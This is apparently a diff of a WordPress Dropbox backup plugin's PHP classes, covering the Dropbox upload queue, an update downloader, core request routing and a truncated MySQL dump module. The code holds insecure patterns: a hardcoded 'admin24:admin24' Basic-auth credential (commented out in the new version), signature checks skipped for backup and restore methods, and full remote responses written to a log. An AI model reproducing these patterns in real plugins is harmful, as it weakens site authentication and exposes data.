- foreach($files as $file) {
36
- $commandContext = new WPAdm_Command_Context();
37
- $commandContext->addParam('command', 'send_to_dropbox')
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
38
  ->addParam('key', $ad['key'])
39
  ->addParam('secret', $ad['secret'])
40
  ->addParam('token', $ad['token'])
41
- ->addParam('folder_project',$ad['folder'])
42
  ->addParam('folder', $dir)
43
  ->addParam('files', ABSPATH . $file);
44
- $this->queue->add($commandContext);
45
- unset($commandContext);
 
 
 
 
 
 
 
 
 
 
46
  }
47
- $res = $this->queue->save()
48
- ->execute();
49
- if (!$res) {
50
- WPAdm_Core::log('Dropbox: ' . $this->queue->getError());
51
- $errors[] = 'Dropbox: '.$this->queue->getError();
52
  }
53
- WPAdm_Core::log('End of copying files to Dropbox');
54
  if (count($errors) > 0) {
55
  $this->result->setError(implode("\n", $errors));
56
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
57
  }
58
 
59
  return $this->result;
60
-
61
-
62
  }
63
 
64
  private function init(array $conf) {
1
  <?php
2
  /**
3
+ * Бэкап сайта
4
+ * Class WPadm_Method_Send_To_Dropbox
5
+ */
6
  if (!class_exists('WPadm_Method_Send_To_Dropbox')) {
7
  class WPadm_Method_Send_To_Dropbox extends WPAdm_Method_Class {
8
  /**
9
+ * @var WPAdm_Queue
10
+ */
11
  private $queue;
12
 
13
  private $id;
21
 
22
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
23
  $this->result->setError('');
24
+ if (isset($this->params['local']) && $this->params['local']) {
25
+ $params_data_cron = WPAdm_Running::getCommandResultData('local_backup');
26
+ $this->params['files'] = $params_data_cron['data'];
27
+ $this->params['access_details']['dir'] = $params_data_cron['name'];
28
+ WPAdm_Core::log( '' );
29
+ }
30
+
31
 
32
  $this->queue = new WPAdm_Queue($this->id);
33
 
34
  $ad = $this->params['access_details'];
 
35
  $this->queue->clear();
36
  $files = $this->params['files'];
37
  //$this->getResult()->setData($files);
38
 
39
  $dir = (isset($ad['dir'])) ? $ad['dir'] : '/';
40
+ //$dir = trim($dir, '/') . '/' . $this->name;
41
+ if (is_array($files)) {
42
+ $send = false;
43
+
44
+ foreach($files as $file) {
45
+ if (isset($this->params['local']) && $this->params['local']) {
46
+ $data_command = WPAdm_Running::getCommandResultData('command_dropbox');
47
+ $data_error_command = WPAdm_Running::getCommandResultData('errors_sending');
48
+ if (isset($data_error_command[ABSPATH . $file]) && $data_error_command[ABSPATH . $file]['count'] > WPADM_COUNT_LIMIT_SEND_TO_DROPBOX) {
49
+ $msg = str_replace('%file%', $file, __('Not perhaps sending file: "%file%". If you wish make upload file, increase execution time code or speed internet provider is small for upload file.' ,'dropbox-backup'));
50
+ WPAdm_Core::log( $msg );
51
+ $errors[] = $msg;
52
+ break;
53
+ }
54
+ if ( !empty($data_command) && in_array(ABSPATH . $file, $data_command) ) {
55
+ continue;
56
+ }
57
+ }
58
+ $commandContext = new WPAdm_Command_Context();
59
+ $commandContext->addParam('command', 'send_to_dropbox')
60
  ->addParam('key', $ad['key'])
61
  ->addParam('secret', $ad['secret'])
62
  ->addParam('token', $ad['token'])
63
+ ->addParam('folder_project', $ad['folder'])
64
  ->addParam('folder', $dir)
65
  ->addParam('files', ABSPATH . $file);
66
+ if (isset($this->params['local']) && $this->params['local']) {
67
+ $commandContext->addParam('local', true);
68
+ }
69
+ $this->queue->add($commandContext);
70
+ unset($commandContext);
71
+ $send = true;
72
+ }
73
+ }
74
+ if ($send) {
75
+ WPAdm_Core::log( __('Start copy to Dropbox Cloud' ,'dropbox-backup') );
76
+ $res = $this->queue->save()->execute();
77
+ WPAdm_Core::log( __('End Copy Files to Dropbox' ,'dropbox-backup') );
78
  }
79
+ if (isset($res) && !$res) {
80
+ WPAdm_Core::log(__('Answer from Dropbox ' ,'dropbox-backup') . $this->queue->getError());
81
+ $errors[] = __('Answer from Dropbox ' ,'dropbox-backup') . $this->queue->getError();
 
 
82
  }
83
+
84
  if (count($errors) > 0) {
85
  $this->result->setError(implode("\n", $errors));
86
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
87
+ } else {
88
+ if (class_exists('wpadm_wp_full_backup_dropbox') && !file_exists( WPAdm_Core::getTmpDir() . "/notice-star") ) {
89
+ wpadm_wp_full_backup_dropbox::setFlagToTmp( 'notice-star', time() . "_1d" );
90
+ }
91
+ if (isset($this->params['local']) && $this->params['local'] && isset($params_data_cron)) {
92
+ $this->result->setData($this->params['files']);
93
+ $this->result->setSize($params_data_cron['size']);
94
+ $this->result->setValue('md5_data', md5 ( print_r($this->result->toArray(), 1 ) ) );
95
+ $this->result->setValue('name', $params_data_cron['name']);
96
+ $this->result->setValue('time', $params_data_cron['time']);
97
+ $this->result->setValue('type', 'dropbox');
98
+ $this->result->setValue('counts', $params_data_cron['counts'] );
99
+ if( (isset($this->params['is_local_backup']) && $this->params['is_local_backup'] == 0 ) || ( !isset($this->params['is_local_backup']) ) ) {
100
+ WPAdm_Core::rmdir( DROPBOX_BACKUP_DIR_BACKUP . "/{$params_data_cron['name']}");
101
+ }
102
+ }
103
  }
104
 
105
  return $this->result;
 
 
106
  }
107
 
108
  private function init(array $conf) {
methods/class-wpadm-method-update.php CHANGED
@@ -13,10 +13,10 @@ if (!class_exists('WPAdm_Method_Update')) {
13
  $n = count($this->params['files']);
14
  for($i = 0; $i < $n; $i++) {
15
  if ( ( $f = $this->dl($this->params['files'][$i]) ) === false ) {
16
- $error[] = 'Error to copy file ' . $this->params['files'][$i]['file'];
17
  } else {
18
  if ( is_string($f) && $this->unpack($f, $this->params['files'][$i]['to']) === false ) {
19
- $error[] = 'Error to extract file ' . $f;
20
  }
21
  if (file_exists($f)) {
22
  unlink($f);
@@ -56,8 +56,9 @@ if (!class_exists('WPAdm_Method_Update')) {
56
  $b = $file['to'];
57
  }
58
  if (!empty($d_)) {
59
- $headers = array( 'Authorization' => 'Basic ' . base64_encode( "admin24:admin24" ) );
60
  $f = wp_remote_get($file['file'], array('headers' => $headers));
 
61
  if (isset($f['body']) && !empty($f['body'])) {
62
  file_put_contents($d_ . "/" . $b, $f['body']);
63
  if (file_exists($d_ . "/" . $b)) {
@@ -83,10 +84,10 @@ if (!class_exists('WPAdm_Method_Update')) {
83
  PCLZIP_OPT_REPLACE_NEWER,
84
  PCLZIP_OPT_REMOVE_PATH, WPAdm_Core::$plugin_name
85
  );
 
86
  if ( $res ) {
87
  return true;
88
  }
89
- WPAdm_Core::log($this->archive->errorInfo(true));
90
  return false;
91
  }
92
  }
13
  $n = count($this->params['files']);
14
  for($i = 0; $i < $n; $i++) {
15
  if ( ( $f = $this->dl($this->params['files'][$i]) ) === false ) {
16
+ $error[] = __('Error to copy file ' ,'dropbox-backup') . $this->params['files'][$i]['file'];
17
  } else {
18
  if ( is_string($f) && $this->unpack($f, $this->params['files'][$i]['to']) === false ) {
19
+ $error[] = __('Error to extract file ' ,'dropbox-backup') . $f;
20
  }
21
  if (file_exists($f)) {
22
  unlink($f);
56
  $b = $file['to'];
57
  }
58
  if (!empty($d_)) {
59
+ //$headers = array( 'Authorization' => 'Basic ' . base64_encode( "admin24:admin24" ) );
60
  $f = wp_remote_get($file['file'], array('headers' => $headers));
61
+ WPAdm_Core::log(serialize($f));
62
  if (isset($f['body']) && !empty($f['body'])) {
63
  file_put_contents($d_ . "/" . $b, $f['body']);
64
  if (file_exists($d_ . "/" . $b)) {
84
  PCLZIP_OPT_REPLACE_NEWER,
85
  PCLZIP_OPT_REMOVE_PATH, WPAdm_Core::$plugin_name
86
  );
87
+ WPAdm_Core::log($this->archive->errorInfo(true));
88
  if ( $res ) {
89
  return true;
90
  }
 
91
  return false;
92
  }
93
  }
modules/class-wpadm-archive.php CHANGED
@@ -1,42 +1,50 @@
1
- <?php
2
- require_once dirname(__FILE__) . '/pclzip.lib.php';
3
- if (!class_exists('WPAdm_Archive')) {
4
- class WPAdm_Archive {
5
- private $remove_path = '';
6
- private $files = array();
7
- /**
8
- * @var PclZip
9
- */
10
- private $archive;
11
- private $md5_file = '';
12
-
13
- public function __construct($file, $md5_file = '') {
14
- $this->archive = new PclZip($file);
15
- $this->files[] = $file;
16
- $this->md5_file = $md5_file;
17
- }
18
-
19
- public function add($file) {
20
- if (empty($this->remove_path)) {
21
- $this->archive->add($file);
22
- } else {
23
- $this->archive->add($file, PCLZIP_OPT_REMOVE_PATH, $this->remove_path);
24
- }
25
- $this->saveMd5($file);
26
- }
27
-
28
- protected function saveMd5($file) {
29
- if ($this->md5_file) {
30
- $files = explode(',', $file); {
31
- foreach($files as $f) {
32
- file_put_contents($this->md5_file, $f . "\t" . md5_file($f) . "\t" . basename($this->archive->zipname) . "\n", FILE_APPEND);
33
- }
34
- }
35
- }
36
- }
37
-
38
- public function setRemovePath($remove_path) {
39
- $this->remove_path = $remove_path;
40
- }
41
- }
 
 
 
 
 
 
 
 
42
  }
1
+ <?php
2
+ if ( !class_exists("PclZip") ) {
3
+ require_once dirname(__FILE__) . '/pclzip.lib.php';
4
+ }
5
+ if (!class_exists('WPAdm_Archive')) {
6
+ class WPAdm_Archive {
7
+ private $remove_path = '';
8
+ private $files = array();
9
+ /**
10
+ * @var PclZip
11
+ */
12
+ private $archive;
13
+ private $md5_file = '';
14
+
15
+ public function __construct($file, $md5_file = '') {
16
+ $this->archive = new PclZip($file);
17
+ $this->files[] = $file;
18
+ $this->md5_file = $md5_file;
19
+ }
20
+
21
+ public function add($file)
22
+ {
23
+ $this->packed($file);
24
+ }
25
+ public function packed($file)
26
+ {
27
+ ini_set("memory_limit", "256M");
28
+ if (empty($this->remove_path)) {
29
+ $this->archive->add($file);
30
+ } else {
31
+ $this->archive->add($file, PCLZIP_OPT_REMOVE_PATH, $this->remove_path);
32
+ }
33
+ $this->saveMd5($file);
34
+ }
35
+
36
+ protected function saveMd5($file) {
37
+ if ($this->md5_file) {
38
+ $files = explode(',', $file); {
39
+ foreach($files as $f) {
40
+ file_put_contents($this->md5_file, $f . "\t" . @md5_file($f) . "\t" . basename($this->archive->zipname) . "\n", FILE_APPEND);
41
+ }
42
+ }
43
+ }
44
+ }
45
+
46
+ public function setRemovePath($remove_path) {
47
+ $this->remove_path = $remove_path;
48
+ }
49
+ }
50
  }
modules/class-wpadm-command-context.php CHANGED
@@ -1,28 +1,32 @@
1
- <?php
2
- if (!class_exists('WPAdm_Command_Context')) {
3
- class WPAdm_Command_Context {
4
- private $params = array();
5
- private $error = '';
6
-
7
- public function addParam($key, $val)
8
- {
9
- $this->params[$key] = $val;
10
- return $this;
11
- }
12
-
13
- public function get($key)
14
- {
15
- return $this->params[$key];
16
- }
17
-
18
- public function setError($error)
19
- {
20
- $this->error = $error;
21
- return $this;
22
- }
23
-
24
- public function getError() {
25
- return $this->error;
26
- }
27
- }
 
 
 
 
28
  }
1
+ <?php
2
+ if (!class_exists('WPAdm_Command_Context')) {
3
+ class WPAdm_Command_Context {
4
+ private $params = array();
5
+ private $error = '';
6
+
7
+ public function addParam($key, $val)
8
+ {
9
+ $this->params[$key] = $val;
10
+ return $this;
11
+ }
12
+
13
+ public function get($key)
14
+ {
15
+ if (isset($this->params[$key])) {
16
+ return $this->params[$key];
17
+ } else {
18
+ return false;
19
+ }
20
+ }
21
+
22
+ public function setError($error)
23
+ {
24
+ $this->error = $error;
25
+ return $this;
26
+ }
27
+
28
+ public function getError() {
29
+ return $this->error;
30
+ }
31
+ }
32
  }
class-wpadm-command.php → modules/class-wpadm-command.php RENAMED
@@ -1,14 +1,14 @@
1
- <?php
2
- /**
3
- * Class WPAdm_Сommand
4
- */
5
- if (!class_exists('WPAdm_Сommand')) {
6
- abstract class WPAdm_Сommand {
7
- /**
8
- * @param WPAdm_Command_Context $context
9
- * @return boolean
10
- */
11
- abstract function execute(WPAdm_Command_Context $context);
12
-
13
- }
14
  }
1
+ <?php
2
+ /**
3
+ * Class WPAdm_Сommand
4
+ */
5
+ if (!class_exists('WPAdm_Сommand')) {
6
+ abstract class WPAdm_Сommand {
7
+ /**
8
+ * @param WPAdm_Command_Context $context
9
+ * @return boolean
10
+ */
11
+ abstract function execute(WPAdm_Command_Context $context);
12
+
13
+ }
14
  }
class-wpadm-core.php → modules/class-wpadm-core.php RENAMED
@@ -1,38 +1,48 @@
1
  <?php
2
- require_once dirname(__FILE__) . '/class-wpadm-result.php';
3
- require_once dirname(__FILE__) . '/class-wpadm-command.php';
4
- require_once dirname(__FILE__) . '/modules/class-wpadm-command-context.php';
5
- require_once dirname(__FILE__) . '/modules/class-wpadm-queue.php';
6
- require_once dirname(__FILE__) . '/modules/class-wpadm-command-factory.php';
 
7
 
8
 
9
  if (!class_exists('WPAdm_Core')) {
10
  class WPAdm_Core {
11
 
12
  /*
13
- * "прилетевший" POST-запрос от админки($_POST)
14
  * @var array
15
  */
16
  private $request = array();
17
 
18
  /*
19
- * публичный ключ для проверки подписи
20
  * @var string
21
  */
22
  private $pub_key;
23
 
24
  /*
25
- * Результат выполнения запроса
26
  * @var WPAdm_Result
27
  */
28
  private $result;
29
 
30
  private $plugin;
31
 
 
 
 
 
 
32
  public static $pl_dir;
33
 
 
 
34
  public static $plugin_name;
35
 
 
 
36
 
37
  public function __construct(array $request, $plugin = '', $plugin_dir = '') {
38
  $this->result = new WPAdm_Result();
@@ -41,22 +51,26 @@ if (!class_exists('WPAdm_Core')) {
41
  $this->plugin = $plugin;
42
  self::$pl_dir = $plugin_dir;
43
  self::$plugin_name = $plugin;
44
- // авторизация запроса
45
  if (!$this->auth()) {
46
  return;
47
- };
48
  if ('connect' == $request['method']) {
49
  $this->connect();
50
  } elseif ('local' == $request['method']){
51
 
52
  } elseif($obj = $this->getObject($request['method'], $request['params'])) {
53
- if (isset($obj->name)) {
54
- $this->name = $obj->name;
55
- }
56
- if (isset($obj->time)) {
57
- $this->time = $obj->time;
 
 
 
 
 
58
  }
59
- $this->result = $obj->getResult();
60
  } else {
61
  $this->result->setError('Unknown method "' . $request['method'] . '"');
62
  }
@@ -64,7 +78,7 @@ if (!class_exists('WPAdm_Core')) {
64
 
65
 
66
  /**
67
- * Возвращает путь до папки временных файлов
68
  * @return string
69
  */
70
  static public function getTmpDir() {
@@ -76,10 +90,6 @@ if (!class_exists('WPAdm_Core')) {
76
  return $tmp_dir;
77
  }
78
 
79
- /**
80
- * Возвращает путь до папки временных файлов
81
- * @return string
82
- */
83
  static public function getPluginDir() {
84
  return self::$pl_dir;
85
  }
@@ -90,13 +100,15 @@ if (!class_exists('WPAdm_Core')) {
90
  * @return null|WPAdm_Method_Class
91
  */
92
  private function getObject($method, $params) {
93
- if (!preg_match("|[a-zA-Z0-9_]|", $method)) {
94
  return null;
95
  }
96
- $method = mb_strtolower($method);
97
-
 
 
 
98
  $class_file = self::$pl_dir . "/methods/class-wpadm-method-" . str_replace('_', '-', $method) . ".php";
99
-
100
  if (file_exists($class_file)) {
101
  require_once $class_file;
102
  $tmp = explode('_', str_replace('-', '_', $method));
@@ -111,12 +123,21 @@ if (!class_exists('WPAdm_Core')) {
111
  $this->getResult()->setResult(WPAdm_result::WPADM_RESULT_ERROR);
112
  return null;
113
  }
114
- return new $class_name($params);
 
 
 
 
 
 
 
 
115
  }
116
  return null;
117
 
118
  }
119
 
 
120
  public static function getLog()
121
  {
122
  $file_log = self::getTmpDir() . '/log.log';
@@ -127,23 +148,23 @@ if (!class_exists('WPAdm_Core')) {
127
  }
128
 
129
  private function connect() {
130
-
131
  add_option('wpadm_pub_key', $this->pub_key);
132
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
133
-
134
  $sendData['system_data'] = get_system_data();
135
  $data['actApi'] = 'setStats';
136
  $data['site'] = get_option('siteurl');
137
  $data['data'] = wpadm_pack($sendData);
138
  if (!class_exists('WP_Http')) {
139
- include_once ABSPATH.WPINC.'/class-http.php';
140
  }
141
 
142
  $remote = array();
143
  $remote['body'] = $data;
144
  $remote['timeout'] = 20;
145
 
146
- $result = wp_remote_post(WPADM_URL_BASE, $remote);
147
  }
148
  public static function setPluginDIr($dir)
149
  {
@@ -155,14 +176,16 @@ if (!class_exists('WPAdm_Core')) {
155
  */
156
  private function auth() {
157
  $this->pub_key = get_option('wpadm_pub_key');
158
- if ('local_backup' == $this->request['method'] || 'local_restore' == $this->request['method'] || 'queue_controller' == $this->request['method'] || 'local' == $this->request['method']) {
 
159
  return true;
160
  }
 
161
  if (empty($this->pub_key)) {
162
  if ('connect' == $this->request['method']) {
163
  $this->pub_key = $this->request['params']['pub_key'];
164
  } else {
165
- $this->getResult()->setError('Активируйте сайт на wpadm.com для работы плагинов.');
166
  return false;
167
  }
168
  } elseif ('connect' == $this->request['method']) {
@@ -195,10 +218,18 @@ if (!class_exists('WPAdm_Core')) {
195
  */
196
  static public function mkdir($dir) {
197
  if(!file_exists($dir)) {
198
- mkdir($dir, 0755);
199
- //todo: права доступа
200
- file_put_contents($dir . '/index.php', '');
 
 
 
 
 
 
 
201
  }
 
202
  }
203
 
204
  /**
@@ -236,8 +267,10 @@ if (!class_exists('WPAdm_Core')) {
236
 
237
 
238
  static public function log($txt, $class='') {
239
- $log_file = self::getTmpDir() . '/log.log';
240
- file_put_contents($log_file, date("Y-m-d H:i:s") ."\t{$class}\t{$txt}\n", FILE_APPEND);
 
 
241
  }
242
 
243
  /**
@@ -254,10 +287,27 @@ if (!class_exists('WPAdm_Core')) {
254
  if (is_dir($f)) {
255
  self::rmdir($f);
256
  }
257
- unlink($f);
 
 
258
  }
259
- rmdir($dir);
 
 
260
  }
261
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
262
  }
263
  }
1
  <?php
2
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-result.php';
3
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command.php';
4
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command-context.php';
5
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-queue.php';
6
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-running.php';
7
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command-factory.php';
8
 
9
 
10
  if (!class_exists('WPAdm_Core')) {
11
  class WPAdm_Core {
12
 
13
  /*
14
+ * "fly" POST from server
15
  * @var array
16
  */
17
  private $request = array();
18
 
19
  /*
20
+ * public key for auth
21
  * @var string
22
  */
23
  private $pub_key;
24
 
25
  /*
26
+ * work result
27
  * @var WPAdm_Result
28
  */
29
  private $result;
30
 
31
  private $plugin;
32
 
33
+ public $name = '',
34
+ $time = '';
35
+
36
+ public static $cron = true;
37
+
38
  public static $pl_dir;
39
 
40
+ public static $error = '';
41
+
42
  public static $plugin_name;
43
 
44
+ private static $cron_method = array('local_backup', 'send_to_dropbox', 'full_backup_dropbox');
45
+
46
 
47
  public function __construct(array $request, $plugin = '', $plugin_dir = '') {
48
  $this->result = new WPAdm_Result();
51
  $this->plugin = $plugin;
52
  self::$pl_dir = $plugin_dir;
53
  self::$plugin_name = $plugin;
54
+ // auth request
55
  if (!$this->auth()) {
56
  return;
57
+ }
58
  if ('connect' == $request['method']) {
59
  $this->connect();
60
  } elseif ('local' == $request['method']){
61
 
62
  } elseif($obj = $this->getObject($request['method'], $request['params'])) {
63
+ if (!is_null($obj) && !is_bool($obj) && $obj->isError()) {
64
+ $this->result = $obj->get_results();
65
+ } elseif(!is_null($obj) && !is_bool($obj)) {
66
+ if (isset($obj->name)) {
67
+ $this->name = $obj->name;
68
+ }
69
+ if (isset($obj->time)) {
70
+ $this->time = $obj->time;
71
+ }
72
+ $this->result = $obj->getResult();
73
  }
 
74
  } else {
75
  $this->result->setError('Unknown method "' . $request['method'] . '"');
76
  }
78
 
79
 
80
  /**
81
+ * return path to tmp dir
82
  * @return string
83
  */
84
  static public function getTmpDir() {
90
  return $tmp_dir;
91
  }
92
 
 
 
 
 
93
  static public function getPluginDir() {
94
  return self::$pl_dir;
95
  }
100
  * @return null|WPAdm_Method_Class
101
  */
102
  private function getObject($method, $params) {
103
+ if (!preg_match("|[a-zA-Z0-9_\-]|", $method)) {
104
  return null;
105
  }
106
+ if (function_exists('mb_strtolower')) {
107
+ $method = mb_strtolower($method);
108
+ } else {
109
+ $method = strtolower($method);
110
+ }
111
  $class_file = self::$pl_dir . "/methods/class-wpadm-method-" . str_replace('_', '-', $method) . ".php";
 
112
  if (file_exists($class_file)) {
113
  require_once $class_file;
114
  $tmp = explode('_', str_replace('-', '_', $method));
123
  $this->getResult()->setResult(WPAdm_result::WPADM_RESULT_ERROR);
124
  return null;
125
  }
126
+ if (in_array( strtolower( $method ), self::$cron_method) && self::$cron) {
127
+ WPAdm_Running::setCommand( strtolower($this->request['method']), $params );
128
+ WPAdm_Running::run();
129
+ self::$cron = true;
130
+ return true;
131
+ } else {
132
+ return new $class_name($params);
133
+ }
134
+
135
  }
136
  return null;
137
 
138
  }
139
 
140
+
141
  public static function getLog()
142
  {
143
  $file_log = self::getTmpDir() . '/log.log';
148
  }
149
 
150
  private function connect() {
151
+
152
  add_option('wpadm_pub_key', $this->pub_key);
153
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
154
+
155
  $sendData['system_data'] = get_system_data();
156
  $data['actApi'] = 'setStats';
157
  $data['site'] = get_option('siteurl');
158
  $data['data'] = wpadm_pack($sendData);
159
  if (!class_exists('WP_Http')) {
160
+ include_once ABSPATH . WPINC . '/class-http.php';
161
  }
162
 
163
  $remote = array();
164
  $remote['body'] = $data;
165
  $remote['timeout'] = 20;
166
 
167
+ $result = wp_remote_post(WPADM_URL_BASE . "/api/", $remote);
168
  }
169
  public static function setPluginDIr($dir)
170
  {
176
  */
177
  private function auth() {
178
  $this->pub_key = get_option('wpadm_pub_key');
179
+ $methods_local = array('local_backup', 'send-to-dropbox', 'local_restore', 'local', 'queue_controller', 'local_send_to_s3');
180
+ if ( in_array($this->request['method'], $methods_local) ) {
181
  return true;
182
  }
183
+ self::log($this->request['method']);
184
  if (empty($this->pub_key)) {
185
  if ('connect' == $this->request['method']) {
186
  $this->pub_key = $this->request['params']['pub_key'];
187
  } else {
188
+ $this->getResult()->setError('Activate site in WPAdm.com for work to plugins.');
189
  return false;
190
  }
191
  } elseif ('connect' == $this->request['method']) {
218
  */
219
  static public function mkdir($dir) {
220
  if(!file_exists($dir)) {
221
+ @mkdir($dir, 0755);
222
+ if (!is_dir($dir)) {
223
+ self::$error = str_replace("&s", $dir, __('Failed to create a file, please check the permissions on the folders "&s".','dropbox-backup') );
224
+ } else {
225
+ //todo: права доступа
226
+ @file_put_contents($dir . '/index.php', '<?php echo "Hello World!"; ');
227
+ if ( !is_writable($dir . '/index.php') ) {
228
+ self::$error = str_replace("&s", $dir, __('Failed to create a file, please check the permissions on the folders "&s".','dropbox-backup') );
229
+ }
230
+ }
231
  }
232
+ return self::$error;
233
  }
234
 
235
  /**
267
 
268
 
269
  static public function log($txt, $class='') {
270
+ if (!empty($txt)) {
271
+ $log_file = self::getTmpDir() . '/log.log';
272
+ file_put_contents($log_file, date("Y-m-d H:i:s") ."\t{$class}\t{$txt}\n", FILE_APPEND);
273
+ }
274
  }
275
 
276
  /**
287
  if (is_dir($f)) {
288
  self::rmdir($f);
289
  }
290
+ if (file_exists($f)) {
291
+ @unlink($f);
292
+ }
293
  }
294
+ @rmdir($dir);
295
+ } elseif (is_file($dir)) {
296
+ @unlink($dir);
297
  }
298
  }
299
+ static function dir_writeble($dir)
300
+ {
301
+ $error = self::mkdir($dir);
302
+ $ret = true;
303
+ if (empty($dir)) {
304
+ @file_put_contents($dir . "/test", "Hello World!!!");
305
+ if (!@is_writable($dir . "/test") && @filesize($dir . "/test") == 0) {
306
+ $ret = false;
307
+ }
308
+ @unlink($dir . "/test");
309
+ }
310
+ return $ret;
311
+ }
312
  }
313
  }
modules/class-wpadm-method-class.php ADDED
@@ -0,0 +1,38 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+
4
+ if (!class_exists('WPAdm_Method_Class')) {
5
+ abstract class WPAdm_Method_Class {
6
+ /**
7
+ * @var mixed
8
+ */
9
+ protected $params;
10
+
11
+ /**
12
+ * @var WPAdm_result
13
+ */
14
+ protected $result;
15
+
16
+ /**
17
+ * @param mixed $params
18
+ */
19
+ public function __construct($params) {
20
+ $this->params = $params;
21
+ $this->result = new WPAdm_Result();
22
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
23
+ $this->result->setError('');
24
+ }
25
+
26
+ abstract function getResult();
27
+
28
+ public function isError()
29
+ {
30
+ $error = $this->result->getError();
31
+ return isset($this->result) && !empty( $error );
32
+ }
33
+ public function get_results()
34
+ {
35
+ return $this->result;
36
+ }
37
+ }
38
+ }
modules/class-wpadm-mysqldump.php CHANGED
@@ -8,222 +8,213 @@ if (!class_exists('WPAdm_Mysqldump')) {
8
  public $host = '';
9
  public $user = '';
10
  public $password = '';
11
- public $dbh ;
 
12
 
13
  private function connect($db = '') {
14
- WPAdm_Core::log("----------------------------------------------------");
15
- WPAdm_Core::log("Connecting to MySQL...");
16
- if ($db) {
17
- $link = mysqli_connect($this->host, $this->user, $this->password, $db);
18
- } else {
19
- $link = mysqli_connect($this->host, $this->user, $this->password);
20
- }
21
- if (mysqli_connect_errno()) {
22
- $this->setError('MySQL Connect failed: ' . mysqli_connect_error());
23
- }
24
- $this->dbh = $link;
25
- $this->init_charset($link);
26
- $this->set_charset($link);
27
- return $link;
28
-
29
- }
30
-
31
- public function set_charset( $link, $charset = null, $collate = null ) {
32
- if ( ! isset( $charset ) )
33
- $charset = $this->charset;
34
- if ( ! isset( $collate ) )
35
- $collate = $this->collate;
36
- WPAdm_Core::log("MySQL set Charset $charset");
37
- if (! empty( $charset ) ) {
38
- if ( function_exists( 'mysqli_set_charset' )) {
39
- mysqli_set_charset( $link, $charset );
40
  } else {
41
- $query = $this->prepare( 'SET NAMES %s', $charset );
42
- if ( ! empty( $collate ) )
43
- $query .= $this->prepare( ' COLLATE %s', $collate );
44
- mysqli_query( $link, $query );
45
- }
46
-
47
- }
48
- }
49
- public function init_charset($link)
50
- {
51
- if ( function_exists('is_multisite') && is_multisite() ) {
52
- $this->charset = 'utf8';
53
- if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) {
54
- $this->collate = DB_COLLATE;
55
- } else {
56
- $this->collate = 'utf8_general_ci';
57
- }
58
- } elseif ( defined( 'DB_COLLATE' ) ) {
59
- $this->collate = DB_COLLATE;
60
- }
61
-
62
- if ( defined( 'DB_CHARSET' ) ) {
63
- $this->charset = DB_CHARSET;
64
- }
65
-
66
- if ( ( ! ( $link instanceof mysqli ) )
67
- || ( empty( $link ) || ! ( $link instanceof mysqli ) ) ) {
68
- return;
69
- }
70
-
71
- if ( 'utf8' === $this->charset && $this->has_cap( 'utf8mb4' ) ) {
72
- $this->charset = 'utf8mb4';
73
- }
74
-
75
- if ( 'utf8mb4' === $this->charset && ( ! $this->collate || stripos( $this->collate, 'utf8_' ) === 0 ) ) {
76
- $this->collate = 'utf8mb4_unicode_ci';
77
- }
78
- }
79
- public function has_cap( $db_cap ) {
80
- $version = $this->db_version();
81
-
82
- switch ( strtolower( $db_cap ) ) {
83
- case 'collation' : // @since 2.5.0
84
- case 'group_concat' : // @since 2.7.0
85
- case 'subqueries' : // @since 2.7.0
86
- return version_compare( $version, '4.1', '>=' );
87
- case 'set_charset' :
88
- return version_compare( $version, '5.0.7', '>=' );
89
- case 'utf8mb4' : // @since 4.1.0
90
- if ( version_compare( $version, '5.5.3', '<' ) ) {
91
- return false;
92
  }
93
- $client_version = mysqli_get_client_info();
94
- if ( false !== strpos( $client_version, 'mysqlnd' ) ) {
95
- $client_version = preg_replace( '/^\D+([\d.]+).*/', '$1', $client_version );
96
- return version_compare( $client_version, '5.0.9', '>=' );
97
- } else {
98
- return version_compare( $client_version, '5.5.3', '>=' );
 
 
 
99
  }
 
100
  }
101
-
102
- return false;
103
- }
104
- public function db_version() {
105
-
106
- $server_info = mysqli_get_server_info( $this->dbh );
107
-
108
- return preg_replace( '/[^0-9.].*/', '', $server_info );
109
- }
110
- public function prepare( $query, $args ) {
111
- if ( is_null( $query ) )
112
- return;
113
-
114
- // This is not meant to be foolproof -- but it will catch obviously incorrect usage.
115
- if ( strpos( $query, '%' ) === false ) {
116
- _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9' );
117
- }
118
-
119
- $args = func_get_args();
120
- array_shift( $args );
121
- // If args were passed as an array (as in vsprintf), move them up
122
- if ( isset( $args[0] ) && is_array($args[0]) )
123
- $args = $args[0];
124
- $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
125
- $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
126
- $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
127
- $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
128
- array_walk( $args, array( $this, 'escape_by_ref' ) );
129
- return @vsprintf( $query, $args );
130
  }
131
 
132
  public function optimize($db) {
133
- $link = $this->connect($db);
134
- WPAdm_Core::log("Optimize Database Tables was started");
135
- if (!$result = mysqli_query($link, 'SHOW TABLES')) {
136
- $this->setError(mysqli_error($link));
137
- };
138
- while($row = mysqli_fetch_row($result))
139
- {
140
- if (!mysqli_query($link, 'OPTIMIZE TABLE '.$row[0])) {
141
- $this->setError(mysqli_error($link));
142
- };
 
 
 
 
 
 
 
 
 
 
